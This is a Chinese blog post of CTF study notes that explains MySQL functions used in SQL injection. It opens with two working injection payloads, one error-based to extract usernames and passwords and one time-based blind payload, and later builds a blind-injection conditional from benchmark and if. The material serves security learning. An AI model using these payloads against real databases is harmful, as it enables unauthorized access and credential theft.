前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >关于sqli注入的特殊函数

关于sqli注入的特殊函数

作者头像
LoRexxar
发布2023-02-20 15:08:28
3920
发布2023-02-20 15:08:28
举报
文章被收录于专栏:LoRexxar's Blog

最近几次参与的几个ctf比赛加上之前的对sql注入一段时间的研究,让我对sql注入有了新的认识,这里留存下几个函数的用法,到需要的时候可以拿出来用。

首先贴出来两个payload,下面根据这两个payload分析每一个函数。

代码语言:javascript
复制
)+and+(select+1+from+(select+count(*),concat((select+(select+(select+concat(username,0x27,password)+from+cdb_members+limit+1)+)+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23##
代码语言:javascript
复制
?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);

0x01 benchmark(x, y)

基于时间注入的时候经常用得到

代码语言:javascript
复制
mysql > select benchmark(5000000,sha1(1));   //执行5000000次sha1(1)
+----------------------------+
| benchmark(5000000,sha1(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.58 sec)

是执行5000000对1的sha1加密,所以会有延迟。

0x02 sleep(x)

和上面相同,同样是造成时间的延迟

0x03 cast(x as type)

强制类型转换,把x转换为int char这样的

0x04 ifnull(expr1 , expr2)

如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。

代码语言:javascript
复制
mysql> SELECT IFNULL(1,0);
+-------------+
| IFNULL(1,0) |
+-------------+
|           1 |
+-------------+
1 row in set

0x05 mid(x,y,z)

SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。 在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

代码语言:javascript
复制
SELECT MID(ColumnName, Start [, Length])
FROM TableName

大概是指从字符串x中第y位取z位数 ps:这里的y是从1开始,并不是从0开始的

代码语言:javascript
复制
mysql> SELECT MID('NowaMagic', 5, 5);
+------------------------+
| MID('NowaMagic', 5, 5) |
+------------------------+
| Magic                  |
+------------------------+
1 row in set

0x06 ORD(x)

ORD() 函数返回字符串第一个字符的 ASCII 值。

代码语言:javascript
复制
mysql> SELECT ORD('i');
+----------+
| ORD('i') |
+----------+
|      105 |
+----------+
1 row in set

0x07 ASCII(x)

返回最左边的字符的字符串str的数值。如果str是空字符串,返回0。如果str为NULL,返回NULL

代码语言:javascript
复制
SQL> SELECT ASCII('d');
+---------------------------------------------------------+
| ASCII('d')                                              |
+---------------------------------------------------------+
| 100                                                      |
+---------------------------------------------------------+
1 row in set (0.00 sec)

0x08 substr(x,y,z)

和上面的mid()相同,就不赘述了

0x09 if(x,y,z)

如果x为真,则y,否则z 这里配合前面的函数就能构造出强大的盲注payload

代码语言:javascript
复制
mysql > select if((ord(mid((select version()),1,1))) like 53,1,benchmark(5000000,sha1(1))) a;
+---+
| a |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

这里吧like换成<>都会变化

0x0a rand()

生成随机数,在0~1之间

0x0b concat(x,y)

SQL CONCAT函数用于将两个字符串连接起来,形成一个单一的字符串。

代码语言:javascript
复制
SQL> SELECT CONCAT('FIRST ', 'SECOND');
+----------------------------+
| CONCAT('FIRST ', 'SECOND') |
+----------------------------+
| FIRST SECOND               |
+----------------------------+
1 row in set (0.00 sec)

这里的concat中间可以加入符号,比如0x20

0x0c count()

应该叫统计函数 COUNT(column_name) 函数返回指定列的值的数目 COUNT(*) 函数返回表中的记录数 COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:

0x0d procedure analyse()

可以接在LIMIT后面的子句只有PROCEDURE、INTO OUTFILE可以利用,根据官方手册,analyse后面可以有两个参数,像这样analyse(1,1)

0x0e floor,ExtractValue,UpdateXml报错注入

floor(rand(0)*2)) select extractvalue这样的函数都会报错

0x0f Lpad(),rpad()

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2015/10/24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 benchmark(x, y)
  • 0x02 sleep(x)
  • 0x03 cast(x as type)
  • 0x04 ifnull(expr1 , expr2)
  • 0x05 mid(x,y,z)
  • 0x06 ORD(x)
  • 0x07 ASCII(x)
  • 0x08 substr(x,y,z)
  • 0x09 if(x,y,z)
  • 0x0a rand()
  • 0x0b concat(x,y)
  • 0x0c count()
  • 0x0d procedure analyse()
  • 0x0e floor,ExtractValue,UpdateXml报错注入
  • 0x0f Lpad(),rpad()
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档